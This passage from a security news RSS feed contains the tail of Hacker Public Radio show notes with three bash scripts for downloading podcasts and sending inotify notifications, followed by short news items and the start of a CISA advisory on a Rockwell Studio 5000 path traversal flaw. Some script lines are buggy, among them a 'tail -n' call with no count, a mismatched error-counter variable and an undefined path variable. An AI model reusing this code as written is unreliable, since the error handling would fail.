I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Companies Are Buying Tons of Old Books Because They're Free of AI Slop]]></title>
<description><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI trai...]]></description>
<link>https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI training data is sitting on a shelf," ISBNdb, a company that produces what it claims is "the world's largest book database," and that offers high-volume book acquisition services for AI companies, says on its site. "Books represent curated, peer-reviewed, domain-specific human knowledge, structured in a way no web crawl can replicate. Dense, edited, authoritative."
 
In one article on its site, ISBNdb explains that printed books published before 2022 are ideal for AI training data because they don't include AI generated text. As the article correctly notes, much of the data that AI companies can scrape from the internet today is likely to include AI generated text, which could result in "model collapse," a process by which AI models that are trained on AI generated data results in worse models that are more prone to errors. The article also notes that book authors who object to their writing being scraped for training purposes can now easily poison AI models by producing writing designed to manipulate and sabotage the resulting AI models.
 
"Print books from the pre-LLM era are structurally guaranteed to be free of this contamination. That alone is a significant advantage [...] "Physical books published before this date [pre-2022] are structurally clean of modern poisoning tools." [...] ISBNdb advertises that it can keep the identity of AI companies secret. "Strict NDA [non-disclosure agreement] on every engagement," ISBNdb's site says. "Every project begins with a legally binding non-disclosure agreement. Your identity, strategy, and acquisition targets are never disclosed." ISBNdb notes that AI companies may not want to be caught destroying printed books during the scanning process. "The optics problem is real," ISBNdb's site says. "'AI company destroys two million books' is not a headline that generates sympathy."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AI+Companies+Are+Buying+Tons+of+Old+Books+Because+They're+Free+of+AI+Slop%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F21%2F206243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F21%2F206243%2Fai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/21/206243/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Invites update brings emoji replies and confetti to the party]]></title>
<description><![CDATA[A second update to Apple Invites for iOS in as many months adds two small changes: emoji replies and a pile of confetti.Apple Invites Apple has already made one update to the Apple Invites app this summer with some handy new features. Its second is smaller, but still quite celebratory in nature.T...]]></description>
<link>https://tsecurity.de/de/3684822/ios-mac-os/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684822/ios-mac-os/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party/</guid>
<pubDate>Tue, 21 Jul 2026 23:00:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A second update to Apple Invites for <a href="https://appleinsider.com/inside/ios" title="iOS" data-kpt="1">iOS</a> in as many months adds two small changes: emoji replies and a pile of confetti.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68318-144014-68044-143445-63760-132662-tiles-xl-xl-xl.jpg" alt="Bright yellow app icon showing an open envelope filled with colorful confetti dots on a solid yellow background" height="738"><br><span>Apple Invites </span></div><br>Apple has already made one update to the Apple Invites app this summer with some handy new features. Its second is smaller, but still quite celebratory in nature.<br><br>The release of <a href="https://apps.apple.com/gb/app/apple-invites/id6472498645">version 1.10</a> on the <a href="https://appleinsider.com/inside/app-store" title="App Store" data-kpt="1">App Store</a> explains there are two changes made to the app. The first is that the host and guests are able to reply to each other using emoji, rather than words.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245016?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Substack adds an AI detector to help spot blogs written by no one]]></title>
<description><![CDATA[Substack will now help users determine whether what they're reading may have been written by AI. A new tool coming to the platform can scan posts, notes, replies, and comments to provide an estimate of how much text could be AI-generated, according to a blog post published on Tuesday. The tool is...]]></description>
<link>https://tsecurity.de/de/3684719/ai-nachrichten/substack-adds-an-ai-detector-to-help-spot-blogs-written-by-no-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684719/ai-nachrichten/substack-adds-an-ai-detector-to-help-spot-blogs-written-by-no-one/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Substack will now help users determine whether what they're reading may have been written by AI. A new tool coming to the platform can scan posts, notes, replies, and comments to provide an estimate of how much text could be AI-generated, according to a blog post published on Tuesday. The tool is powered by an […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Studio 5000 Logix Designer]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.
The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:

Studio 5000 Logix Designer V36.0...]]></description>
<link>https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-10.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.</strong></p>
<p>The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:</p>
<ul>
<li>Studio 5000 Logix Designer V36.00 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer V35.00 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer V35.01 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V34.00|&lt;=V34.03 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V33.00|&lt;=V33.03 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V32.00|&lt;=V32.04 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer V34.00 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V34.01 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V33.00 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V33.02 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer &gt;=V34.00|&lt;=V34.02 (CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer &gt;=V33.00|&lt;=V33.02 (CVE-2026-9128)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Studio 5000 Logix Designer</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Incorrect Authorization, Unquoted Search Path or Element</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9108</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Studio 5000 Logix Designer due to improper limitation of file paths within ACD project files. The software does not sanitize or validate file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9108">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
